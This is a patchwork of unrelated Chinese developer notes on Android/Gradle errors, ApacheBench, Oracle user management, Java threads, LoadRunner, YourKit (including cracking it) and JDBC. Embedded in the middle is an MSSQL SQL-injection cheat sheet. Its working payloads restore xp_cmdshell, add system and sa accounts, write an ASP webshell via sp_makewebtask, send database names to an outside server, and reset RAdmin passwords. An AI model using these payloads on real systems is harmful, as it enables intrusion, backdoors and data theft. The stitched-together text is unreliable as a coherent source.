1. https://coderwall.com/p/ybds4w
http://blog.futurice.com/android_unit_testing_in_ides_and_ci_environments
2. 出现问题如下:
Exception in thread "main" java.lang.NoClassDefFoundError: junit/textui/ResultPrinter at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Class.java:169) at com.intellij.rt.execution.application.AppMain.main(AppMain.java:113) Caused by: java.lang.ClassNotFoundException: junit.textui.ResultPrinter at java.net.URLClassLoader$1.run(URLClassLoader.java:200) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(URLClassLoader.java:188) at java.lang.ClassLoader.loadClass(ClassLoader.java:306) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:276) at java.lang.ClassLoader.loadClass(ClassLoader.java:251) at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:319) ... 3 more |
原因为调用的junit android-studio\plugins\junit\lib\junit-rt.jar 下没有junit/textui/ResultPrinter 这个class文件,怎么解决呢????
3. com.google.inject的maven配置
<dependency> <groupId>com.google.inject</groupId> <artifactId>guice</artifactId> <version>1.0</version> </dependency> |
4. android-4.0.1.2.jar Maven配置
<dependency> <groupId>com.google.android</groupId> <artifactId>android</artifactId> <version>4.0.1.2</version> </dependency> |
5. 用gradle编译项目时出错:
Could not create plugin of type 'AppPlugin'
解决方法:
classpath 'com.android.tools.build:gradle:0.7.0' 改为 classpath 'com.android.tools.build:gradle:0.7.3'
6. 用gradle 同步工程出现错误如下:
Unable to load class 'org.gradle.api.artifacts.result.ResolvedComponentResult'
解决方法:
classpath 'com.android.tools.build:gradle:0.7.3'
7. gradle-plugin and the gradle version说明:
There is a relation between gradle-plugin and the gradle version. For example com.android.tools.build:gradle:0.6.+ -> gradle 1.8 com.android.tools.build:gradle:0.7.+ -> gradle 1.9 com.android.tools.build:gradle:0.8.+ -> gradle 1.9/1.10 com.android.tools.build:gradle:0.9.+ -> gradle 1.10/1.11 You can find gradle version used in your project in the file gradle/wrapper/gradle-wrapper.properties Also there is a relation between gradle-plugin and the IDE version. For example: Android Studio 0.3.x -> gradle-plugin 0.6 Android Studio 0.4.x -> gradle-plugin 0.7 Android Studio 0.4.3+ -> gradle-plugin 0.8 Android Studio 0.5.x -> gradle-plugin 0.9 For updated news you can check this link: http://tools.android.com/recent |
8. 错误问题如下:
!!! JUnit version 3.8 or later expected: java.lang.RuntimeException: Stub! at junit.runner.BaseTestRunner.<init>(BaseTestRunner.java:5) at junit.textui.TestRunner.<init>(TestRunner.java:54) at junit.textui.TestRunner.<init>(TestRunner.java:48) at junit.textui.TestRunner.<init>(TestRunner.java:41) 解决方法:(https://github.com/robolectric/deckard-gradle) For Intellij, go to Project Structure -> Modules -> deckard-gradle pane. In the Dependencies tab, move the Module SDK dependency (i.e. Android API 19 Platform) to be the last item in the list. For Android Studio, dependency ordering is currently not modifiable via any GUI. Therefore, you must modify the project iml file directly as such and reload the project: <orderEntry type="library" exported="" scope="TEST" name="wagon-provider-api-1.0-beta-6" level="project" /> <orderEntry type="library" exported="" scope="TEST" name="xercesMinimal-1.9.6.2" level="project" /> <orderEntry type="jdk" jdkName="Android API 19 Platform" jdkType="Android SDK" /> <---make sure this is the last orderEntry </component> </module> |
9.下载android sdk和platform API参考地址:
http://xtbbbbdx.blog.51cto.com/3506227/1009209
android-3.0_r02-linux.zip的下载链接
http://dl.google.com/android/repository/android-3.0_r02-linux.zip
10: NoClassDefFoundError: com/intellij/rt/execution/junit/JUnitStarter: com/intellij/rt/execution/junit/JUnitStarter
解决方法:???
11. No resource found that matches the given name 'Theme.AppCompat.Light.DarkActionBar'.
解决方法:
using android-support-v7-appcompat.jar lib inside libs folder
(compile'com.android.support:appcompat-v7:19.0.+')
引言
为什么我会写这一篇博客,因为最近很多京东云擎jae的用户反应一个问题就是他们部署在jae上面的应用访问很慢,有极少数应用甚至经常出现504超时现象,当然大家首先想到的是jae性能太差,这也是人之常情,往往出现什么错误的时候首先想到是别人的不好,
工作中很多同事也是这样,如果软件系统出现一个bug首先怀疑的肯定不是自己写的代码。今天花时间写这一篇博客主要就是告诉大家怎样确定我们部署在PAAS平台(不仅仅是JAE哦)
web应用为什么慢?慢在哪儿了?有什么方法可以解决?
原因分析
出现访问自己web应用慢从宏观上可以总结为下面三点:
(1)网络慢:具体来说就是访问者同部署web应用的PAAS平台之间的网络慢;
(2)PAAS平台性能出现问题:具体来说就是由于各种原因导致PAAS平台不能很好服务部署在它上面的应用;
(3)web应用本身慢:由于各种原因(频繁读写磁盘,大量耗时的计算,资源竞争等)导致web应用不能很快的响应访问者的请求。
上面三点主要总结于web应用的访问路径,因为访问PAAS平台的web应用首先需要经过网络,然后经过PAAS平台的过滤和转发等处理,最后才到达web应用本身处理。这三个环节任何一个出现问题都会导致web应用访问变慢。知道原因了,我们还需要判断到底是哪一个环节出现了问题,下面就说说怎样定位具体的环节。
定位具体原因
上面分析的三个原因除了第二个原因以外,大家都可以自己定位和排除,首先检查网络,为了更加准确我们可以从一下方面进行排除:
(1)首先检查访问其他网站是否出现很慢的现象,如果很快,那么说明你的网络肯定大体上是正常的;
(2)访问对应PAAS平台提供的相关网站和PAAS平台所属公司的网站,例如JAE,你可以访问京东商城主站和京东云平台首页等,BAE可以访问
百度相关网站,SAE可以访问新浪相关网站,因为这些关联网站一般部署在同一个机房或者同一个城市,如果这些网站也很慢,那多半说明这些网站相关机房网络出现问题或者访问量很大,导致这些网站对外出口流量和访问速度变慢,也就是对外提供服务的能力扛不住了,如果没有问题,那么可以排除大的网络环境是没有问题的;
排除了网络因素,我们就可以排除后面两个原因了,由于PAAS平台的性能对用户基本上是透明的,就是用户基本上无从得知,所以可以直接跳过这个原因的排除,当然其实是有手段的,只是稍微复杂,所以不方便所有用户,如果是这种原因最好还是交给PAAS平台的开发人员去处理。
最后一个原因当然就是web应用自身的实现了,我发现很多用户反馈的网站访问慢的原因都是由于自己代码实现的问题。
首先出现问题的网站大多数是有一定访问量的,特别是某一个时间段出现访问量巨大,而且频繁读写磁盘。为了定位这种原因希望大家把应用部署在自己本地使用web性能
测试工具做验证即可,例如比较常用的web性能测试工具ab,这个事apache自带的测试工具,ubuntu下安装和使用都非常方便,例如我们直接在控制台中输入ab,如果没有安装,ubuntu系统会如下提示:
The program 'ab' is currently not installed. You can install it by typing:
sudo apt-get install apache2-utils
然后安装提示安装即可,安装成功以后我们就可以使用ab软件对我们部署在本地的web应用进行
性能测试评估了,命令如下:
ab -n1000 -c10 http://localhost/
上面命令的意思是总共发送1000次请求,每次10各并发请求,访问的路径就是本地web服务器的根路径,结果如下:
This is ApacheBench, Version 2.3 <$Revision: 1430300 $> Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache Software Foundation, http://www.apache.org/ Benchmarking localhost (be patient) Completed 100 requests Completed 200 requests Completed 300 requests Completed 400 requests Completed 500 requests Completed 600 requests Completed 700 requests Completed 800 requests Completed 900 requests Completed 1000 requests Finished 1000 requests Server Software: Apache/2.4.6 Server Hostname: localhost Server Port: 80 Document Path: / Document Length: 177 bytes Concurrency Level: 10 Time taken for tests: 0.075 seconds Complete requests: 1000 Failed requests: 0 Write errors: 0 Total transferred: 446000 bytes HTML transferred: 177000 bytes Requests per second: 13283.74 [#/sec] (mean) Time per request: 0.753 [ms] (mean) Time per request: 0.075 [ms] (mean, across all concurrent requests) Transfer rate: 5785.69 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 0 0 0.1 0 1 Processing: 0 1 0.2 0 2 Waiting: 0 0 0.2 0 2 Total: 0 1 0.1 1 2 ERROR: The median and mean for the processing time are more than twice the standard deviation apart. These results are NOT reliable. Percentage of the requests served within a certain time (ms) 50% 1 66% 1 75% 1 80% 1 90% 1 95% 1 98% 1 99% 1 100% 2 (longest request) |
上面具体每一项代码什么意义可以网上查找,这里我们主要关心一下如下这个选项:
Requests per second,从结果看这个值是13283.74 [#/sec] (mean),表示每一秒钟可以处理13283.74各请求,因为我这个很简单的一个静态页面(就是apache服务器安装后默认的首页),所以看起很不错,而且是通过本地localhost,没有经过网络。我们可以改变访问的条件持续做很多组测试,例如我把并发请求数改为100,即-c100,得到参数值为:
Requests per second: 11843.29 [#/sec] (mean)
明显比上面减少了一些,继续改总请求数为10000,并发数1000,即-n10000 -c1000得到如下值:
Requests per second: 747.98 [#/sec] (mean)
这个时候减少的相当的可怕了,所以通过这个ab测试工具就能够知道我们的web应用能够承担多少的并发访问,当然我们可以通过不断的挑战参数进行测试,然后绘制成一个曲线图观察就很方便看出我们web应用的最佳性能点,超过那么最佳性能点可能就导致性能下降,那么访问速度也就跟着下降了。
当然只看上面一个参数看不出具体一个用户访问所需要等待的时间,另一个参数可以看出,我对应三次的测试这个参数值分别如下:
Time per request: 0.753 [ms] (mean)
Time per request: 8.444 [ms] (mean)
Time per request: 1336.942 [ms] (mean)
从三次测试可以看出,随着并发数的增长,一个用户平均等待的时间也在变长,这个最终就反应到用户web访问的结果(速度的快慢),这里测试的只是一个简单的静态网页,如果是复杂的动态网页(例如访问数据库,读写磁盘和大量的计算等)那么就更加复杂了,一个请求的快慢由于web应用需要处理的业务逻辑有很大的关系,当然怎样让这些业务逻辑执行更快并且并行执行,这个就需要程序实现者考虑了。
总结
这里只是简单介绍了部署在PAAS平台web应用访问很慢的可能原因和简单定位方法,起始我觉得大家应该中的关注在第三点上,自身应用的优化,因为前面两点都是我们不可控的,网络这个PAAS平台自身也解决不了,最多可以部署多个机房多个宽带运营商和cdn处理等,但是用户自身的网络问题PAAS平台也是解决不了的。至于PAAS平台自身的原因,大家就更不用担心了,他们比你们更关系自身PAAS平台的性能,因为上面托管着成千上万的web应用,他们时时刻刻都在关系着自身平台的性能拼劲,想着各种方法优化。如果PAAS平台的原因导致用户部署的web应用访问很慢甚至不可用那么这个PAAS平台自身也做不下去的。
最后还想强调一点就是web应用自身的性能优化问题,现在各种语言都提供了很好的开发框架,理论上都是稳定的并且性能是不错的,当然特殊场景需要特殊考虑。但是我们自身在设计web应用的时候可能需要考虑的更多,不要妄想一个简单的开发框架就能解决所有的问题,尤其是性能问题。设计到web应用优化的知识和技术非常的多也非常的复杂,还有很多场景,所以这是各长久的过程。后面有机会也会给大家介绍一些web性能优化的方法和技术,并且结合实际场景进行分析和演练。
oracle安装会自动的生成sys用户和system用户
(1)sys用户是超级用户,具有最高权限,具有sysdba角色,有create database的权限。该用户默认的密码是manager
(2)system用户是管理操作员,权限也很大,具有sysoper角色,没有create database的权限。默认的密码是change_on_install
(3)一般来讲,对
数据库维护,使用system用户登录即可。
基本使用:
(1)连接命令
conn 用户名/密码 [as sysdba / sysoper]
当用特权用户身份连接时,必须带上as sysdba 或是as sysoper
(2)断开连接
disc 该命令用来断开与当前数据库的连接
(3)修改密码
passw[ord]
修改其他用户的密码必须用sys或是system
password scott; //给scott用户修改密码
(4)显示当前用户名
show user;
(5)退出
exit;断开连接并退出
文件操作命令:
(1) start和@ 运行sql脚本
start d:\aa.sql 或是 @ d:\aa.sql
(2)edit d:\aa.sql 编辑sql脚本
(3)spool 将屏幕内容输出到指定文件中
spool d:\aa.sql;
select * from emp; //执行语句
spool off;
显示和设置环境变量:
(1)linesize 设置显示行的宽度
set linesize 50; //默认80
(2)pagesize 设置每页显示的行数目,默认14
用法和linesize 一样
set pagesize 14;
用户管理:
(1)创建用户
create user //一般是具有dba的权限才能使用
create user scott(用户名) identified by tiger(密码);
(2)删除用户
drop user 用户名;
不能自己删除自己,一般以dba的身份去删除某个用户
(3)删除用户时,若该用户已经创建了表,那么在删除时带参数cascade,表示将用户和其创建的表都删掉。
(4)新创建的用户没有任何权限。system和sys可以为其赋权限。
赋予系统权限:(使用system用户)
grant connect to scott; (connect角色) //登陆权限
grant resource to scott; //建表权限
赋予对象权限:
(表的拥有者,sys,system) grant select on emp(表) to scott; 将emp的查询权限赋予scott
scott可以用select * from owner.emp
(方案)
对象权限:select,insert ,update,delete,all,create index....等对表的操作
角色: resource:在任何一个表空间建表
connect
dba:普通用户相应的会变成dba
收回权限:revoke (用赋权的用户收回)
revoke select(对象权限) on emp(表) from scott; 权限的维护:
希望Scott用户可以去查询owner的emp表,Scott可以将查询权限授予别人。
a:如果是对象权限,就加入with grant option
grant select on owner.emp to scott with grant option;
b:如果是系统权限 with admin option
grant connect to scott with admin option; //scott可以将这种权限向下传递
若owner——>scott——>xiaoming,owner将scott对表的查询权限回收了,那xiaoming还有没有权限。这样xiaoming 的查询权限也被回收。即:级联回收~
用户口令:
用profile管理用户口令
(1)账户锁定:
create profile lock_account limit failed_login_attempts 3 password_lock_time 2; //创建profile文件 ,2代表锁定的天数
alter user xiaoming profile lock_accout; //将这个文件用于xiaoming
(2)给账户解锁:(dba权限)
alter user tea accont unlock;
(3)终止口令(dba身份)
create profile myprofile limit password_life_time 10 password_grace_time 2;//每隔10天修改自己的密码,宽限期为2天
alter user tea profile myprofile//把这个文件分配给xx
(4)口令密码:在修改密码时,不能使用以前使用过的密码
create profile password_history limit password_life_time 10 password_grace_time 2 password_reuse_time 10
password_reuse_time //指定口令可以重用时间,即10天后可以重用
分配给用户
(5)删除profile
drop profile password_history [cascade]级联,将相关的全部删除。
线程就是程序中执行单个任务的顺序的流程。
线程创建的两种方式:
1、继承Thread类
publicstaticvoidmain(String[]args) { //继承Thread类覆盖父类run方法 Threadthread=newThread() { @Override publicvoidrun() { while(true) { System.out.println(Thread.currentThread().getName()); } } }; thread.start(); } |
2、实现Runnable接口的run方法
publicstaticvoidmain(String[]args) { Threadthread=newThread(newRunnable() { @Override publicvoidrun() { while(true) { System.out.println(Thread.currentThread().getName()); } } }); thread.start(); } |
总结:以上是Java实现多线程的两种方式:继承Thread类和Runnable接口,由于Java类的单继承性,接口又可以实现多继承以及使用Runnable接口可以很好地将需要执行的任务代码与线程类分离,所以推荐使用实现Runnable接口的方法去实现多继承。但不管怎样最终都需要使用Thread.start()方法来使线程处于可运行状态吐舌头
3、线程中start() 方法与run() 方法的区别
1、start()方法
调用start()方法就是为了告诉系统我这儿有一个线程已经处于可运行状态,并没有开始运行,如果cpu分配了时间片,那么JVM就会调用本线程的run()方法来运行线程;run()方法一旦执行结束,则本线程终止。
2、run()方法
run()方法只是类的一个普通方法,如果直接调用run()方法,那么程序中只会存在一个主线程,在调用run()方法以后的代码,必须等待run()方法执行完成后才能执行,直接调用其他普通方法一样没有区别。
总结:调用start()方法可以开启一个新的线程,并在新的线程中运行run()方法;而直接调用run()方法则不会开启新线程,run()方法还是执行于主线程中。
4.线程的运行结果
public static void main(String[] args) { Thread thread = new Thread(new Runnable() { //实现了Runnable接口的run()方法 @Override public void run() { System.out.println("Runnable:" + Thread.currentThread().getName()); } }) { //继承了Thread类 并覆盖了Thread类的run()方法 @Override public void run() { System.out.println("Thread:" + Thread.currentThread().getName()); } }; thread.start(); } |
运行的结果为:
总结:Thread的子类覆盖了父类的run()方法,所以执行了子类的run()方法,在子类的run()方法中又没有调用传入的接口实现类的run()方法。
应用场景 假设有3个不同的
测试场景,分别为并发登录、核心业务、可靠性测试,3个场景有先后执行顺序。由于白天测试机器另有用处,只能在晚上进行
性能测试,这时我们的期望是能否把测试场景都设定好之后晚上自动运行,第二天我们回来看测试结果呢? 答案是肯定的,可以有两种方式实现。
第一种,相对简单充分利用LR Controller里面Group的功能。 新建一个场景把3个脚本都添加进来,在Edit Schedule中选择“Schedule by Group”的方式,在StartTime中设置3个脚本的运行顺序为“Start when Group xxx finished”,并在“Scenario Start Time”中设定场景在晚上的运行启动时间。设定完定时执行场景后,点击StartScenario按钮,会出现一个倒计时窗口,这样在固定的某个时间上,测试场景中的3个脚本将乖乖的按照设定的先后顺序进行测试。注意,如果没有点击StartScenario按钮激活测试,是不会真正进行测试的。(感谢Athenst朋友的提醒,^_^)
第二种,比较灵活我们把应用场景稍微扩展一下,假设其中1、3场景只有一个测试脚本,而核心业务场景由数据录入、数据查询、数据上报3个脚本组成,同样的,3个场景仍需按顺序进行测试。这时如果采用第一种方式,由于第2个场景有3个脚本,所以第三个脚本的启动时间就是一个问题了。由于Controller中每个脚本都对应一个Group,而且GroupName不能重复,这时第三个场景的StartTime中“Start when group finished”则只能是选择第二个场景中的某个Group,而并非是第二个场景的3个脚本都完成之后再进行,无法达到我们的初衷。 这时,可以通过命令行的方式来进行。 首先创建并设置好3个测试场景,再创建一个一个批处理程序按先后顺序调用这3个场景进行测试,最后通过
Windows的定时任务设定批处理的执行时间。
批处理示例如下:
cls SET M_ROOT="D:\Program Files\MI\Mercury LoadRunner\bin\" %M_ROOT%\wlrun.exe -TestPath "D:\Program Files\MI\Mercury LoadRunner\scenario\Test\TestScen_1.lrs" -Run %M_ROOT%\wlrun.exe -TestPath "D:\Program Files\MI\Mercury LoadRunner\scenario\Test\TestScen_2.lrs" -Run %M_ROOT%\wlrun.exe -TestPath "D:\Program Files\MI\Mercury LoadRunner\scenario\Test\TestScen_3.lrs" -Run |
这种方式比较灵活,但需要注意在Result Settings中设置“Automatically create a results directory for each scenario execution”,以免后面的测试结果覆盖了前面的。
另外补充一下,如果想对某个脚本进行50、100、150...等用户数递增的测试,也可以用以上方法实现,但需要注意的是将事务名称区分开以便进行分析。
安装、运行,
1 下载windows版本的yourkit,安装并破解。
2 在本机tomcat安装yourkit插件
2.1 打开tomcat的环境参数配置文件catalina.bat。
set JAVA_OPTS=%JAVA_OPTS% -agentpath:D:/java/share/yjpagent.dll
yjpagent.dll从your kit的安装目录能找到,如D:\Program Files (x86)\YourKit Java Profiler 9.0.3\bin\win32下。
请注意,不能将系统参数设置为-agentpath: D:/Program Files (x86)/YourKit Java Profiler 9.0.3/bin/win32/ yjpagent.dll,否则tomcat将无法启动,因为路径中含有空格。因此将yjpagent.dll复制到无空格的目录,如D:/java/share/yjpagent.dll。(本人当初因踩了“路径有空格”这坑,而折腾了很久)。
2.3如果是监控远程linux上的tomcat,唯一的区别是下载linux版yourkit获取linux版的yjpagent库文件。
3 启动tomcat
4 运行your kit
5 在”show all running JVMS” 复选框打勾,能看到本机运行的java进程。
6 在列表中双击tomcat对应的进程,即可以看到your kit的监控界面。
监控
1 看各函数cpu资源消耗比例
1.1点Cpu标签页
1.2在cpu time图标框,用鼠标水平划一时间区域
1.3在底下的分析栏:CPU Usage Estimation,将显示该时间段各个函数cpu资源利用比例。选择函数点击能显示子函数的占用比。
参数:targetPath 目标路径
//消除目录结构 List<File> list=allFile(targetPath); for(File each:list) { File file=new File(targetPath+File.separator+each.getName()); each.renameTo(file); } //删除空文件夹 File dir= new File(targetPath); for(File eaFile:dir.listFiles()) { if(eaFile.isDirectory()) { eaFile.delete(); } } private List<File> allFile(String path) { File targetDir=new File(path); List<File> list=new ArrayList<File>(); for(File each:targetDir.listFiles()) { if(each.isDirectory()) list.addAll(allFile(each.getPath())); else list.add(each); } return list; } |
经典应该用框架:
第一步,加载JDBC数据库驱动程序(不同的数据库有不同的数据库驱动,所以在连接数据库之前,需加载驱动)
格式:
String driver = "com.mysql.jdbc.Driver";
Class.forName(driver);//加载mysql数据库,用Class.forName("驱动名称")进行加载
第二步,创建数据库连接,将数据库与当前文件连接起来,后面才可以对数据库进行操作
格式:
String url = "jdbc:mysql://localhost:3306/数据库名";//建立数据库连接地址
Connection conn = null;//建立数据库连接对象
conn = DriverManager.getConnection(url,"root","root");//连接数据库
第三步,创建操作对象和操作语句(用插入操作做例子)
PreparedStatement pstmt = null; //4.建立数据库操作对象
String sql = null;//数据库操作语句
sql = "INSERT INTO 表名 (属性,属性,属性) VALUES (?,?,?)" ;//插入操作,可以是别的操作语句
pstmt = conn.prepareStatement(sql);
pstmt.setString(1,值) ;
pstmt.setString(2,值) ;
pstmt.setString(3,值) ;
pstmt.executeUpdate() ;
第四步,当操作时查询操作时,还需要创建一个结果集对象
格式:
ResultSet rs = null;
sql = "select 属性,属性,属性 from 表名";
pstmt = conn.prepareStatement(sql);
rs = pstmt.executeQuery();
rs.getString("属性");具体方法看属性的类型,返回查询结果
第五步,关闭数据库,在这有个规则,就是得先关闭结果集,再关闭操作对象,最后关闭数据库连接
格式:
rs.close();//如果程序没有查询操作,则不用写这条语句
ptsmt.close();
conn.close();
以上就是简单JDBC操作数据库的应用框架,一般的程序连接数据库,都是这个过程的.
//看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
数字类型
and char(124)%2Buser%2Bchar(124)=0
字符类型
' and char(124)%2Buser%2Bchar(124)=0 and ''='
搜索类型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
爆用户名
and user>0
' and user>0 and ''='
检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
检测是不是MSSQL数据库
and exists (select * from sysobjects);--
检测是否支持多行
;declare @d int;--
恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
//-----------------------
// 执行命令
//-----------------------
首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select
shell("cmd.exe /c net user admin admin1234 /add")')
执行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
REG_SZ
读注册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
读取目录内容
exec master..xp_dirtree 'c:\winnt\system32\',1,1
数据库备份
backup database pubs to disk = 'c:\123.bak'
//爆出长度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'
添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'
添加扩展存储过过程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
GRANT exec On xp_proxiedadata TO public
停掉或激活某个服务。
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
dbo.xp_subdirs
只列某个目录下的子目录。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab
将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_terminate_process
停掉某个执行中的程序,但赋予的参数是 Process ID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab
解开压缩档。
xp_unpackcab 'c:\test.cab','c:\temp',1
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);
//得到数据库名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
//在Master中创建表,看看权限怎样
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
用 sp_makewebtask直接在web目录里写入一句话马:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
//更新表内容
Update films SET kind = 'Dramatic' Where id = 123
//删除内容
delete from table_name where Stockid = 3
LoadRunner是HP公司的一款付费工具,该工具是一种预测系统行为和性能的
负载测试工具。通过模拟上千万用户实施并发负载来确认和查找问题。
2.什么是负载测试
通过测试系统在资源超负荷的情况下的表现,以发现设计上面的错误或验证系统的负载能力。
负载测试的目标是确定并保证系统在超出最大预期
工作量的情况下仍能正常运行,还能评估系统的性能特征。
下面介绍一下关于负载测试的几个基本概念:
2.1吞吐率:服务器并发处理能力的量化描述(单位reqs/s),单位时间内处理的请求数。
2.2并发连接数:某一个时间点允许最大的请求数量,这个常用来衡量系统的并发处理请求的能力,应该区分与下面的并发用户数。
2.3并发用户数:一个用户可能会产生多个并发连接,例如IE8目前支持6个并发连接。
2.4用户请求平均时间:大量用户请求从发起到接收到处理结果的一个平均时间,在
web页面默认不超过3秒是最佳的用户体念。
2.5服务器平均处理请求时间:处理完成一个请求所用的平均时间,这个指标可用来衡量业务逻辑复杂度和机器的性能指标。
3.使用LoadRunner进行负载测试详解
3.1负载测试目标
在做任何事情的时候,都应该三思而后行,明确要达到的目标。然后计划一步一步的达到所定的目标。同样在测试初期我们应该明确定义需要达到的测试目标,例如:我们现在要测试一个调用人力资源数据的WebService接口,我们的重点测试规定时间长度的接口并发处理能力,且接口的单次调用时间不超过3秒,在最大并发用户80最小并发用户20平均并发用户40的情况下进行30分钟的接口调,预计总调用次数10000次,用户平均请求时间不超过5秒。
怎样定义以上测试目标的呢?第一、写一个脚本顺序多次调用接口获得一个平均单次调用时间,且这个时间作为基础时间。第二、最大并发用户、最小并发用户和平均并发用户来自对原有系统的分析,发现人力资源接口在公司中被大量其他系统所访问经过分析和调查得出最大并发用户80最小并发用户20平均并发用户40的结果。第三、调用次数10000次如何得来,根据设置的3个请求源,分别设置这3个请求开始时间和结束事件计算得来的,如A请求源从0~20分钟并发用户访问数为20,B请求源并发数为30从10分钟~25分钟,C请求源从15分钟至30分钟,并发用户数为30.
3.2创建负载测试脚本
脚本是用来运行需要测试对象的主要力量。
脚本主要分了3个部分vuser_init和Action和vuser_end这三个部分,vuser_init 是虚拟用户创建的函数,vuser_end是运行结束后销毁虚拟用户的函数,Action是主要的代码运行测试的部分。
Action可以建立多个,每一个Action都负责各自的事情。
Action() { <span style="white-space:pre"> </span>//输入字符串 char input[500]="command="; //日志记录地址 char *address="D:\\LoadRunnerWorkSpace\\RunLog\\log.log"; <span style="white-space:pre"> </span>long filename;//定义存储文件指针的变量 //输入参数,进行了参数化,可以进行配置 char *cmd = lr_eval_string("{InputParam}"); //输出参数 char *out = ""; |
lr_start_transaction("init"); //定义初始化事务 strcat(input,cmd); lr_end_transaction("init", LR_AUTO);//结束初始化事务 lr_rendezvous("beginaction");//事务集结点 lr_start_transaction("call");//初始化访问接口的事务 web_service_call( "StepName=ExecuteCommand_102", "SOAPMethod=Test|TestSoap|ExecuteCommand", "ResponseParam=response", "Service=Test", "ExpectedResponse=SoapResult", "Snapshot=t1397177849.inf", BEGIN_ARGUMENTS, input, END_ARGUMENTS, BEGIN_RESULT, "ExecuteCommandResult=outPutParams", END_RESULT, LAST); lr_end_transaction("call", LR_AUTO);//结束访问接口事务 lr_start_transaction("log");//初始化记录日志事务 //获取输入值 out = lr_eval_string("{outPutParams}"); //输出信息 lr_output_message("调用日志|Cmd=%s|Re=%s\r\n",cmd,out); //写自定义日志文件 if ((filename=fopen(address,"a+"))==NULL)//打开文件 { lr_error_message("can not open this file,address=%s",address); return -1; } fprintf(filename,"调用日志|Cmd=%s|Re=%s\r\n",cmd,out); lr_end_transaction("log", LR_AUTO);//结束访问接口事务 lr_start_transaction("interval"); lr_think_time(0.1); //定义思考时间,思考时间和模拟程序对业务处理事件有些类似 lr_end_transaction("interval", LR_AUTO); return 0; } |
创建完成脚本之后单次执行该接口查看action程序是否正确,能够正常运行。
如果能够正常运行,进行下一步操作。
3.3执行负载测试(Run Load Tests)
在执行之前(Design)中对我的测试目标的3个请求源进行配置,创建相应的请求场景,这个配置可以在(Interactive Schedule Graph)查看相应请求场景。
配置好之后在(Run)点击Start scenario。
经过漫长的等待测试运行完毕,系统自己生成响应的测试结果,泡杯茶小酌一杯呵呵。
3.4执行测试结果的分析(Analyze Load Tests)
导入生成的res1文件,系统会自动生成出相应的测试报表。在Analysis Summary中就可以看出整体的测试结果。
还可以通过查看Running Vusers的情况了解整理的并发访问情况。
查看Hits per Second,查看每秒的请求数量的走势。
查看Throughput,可以查看整个压力测试过程中处理数据的吞吐量情况,是否达到设计的要求。
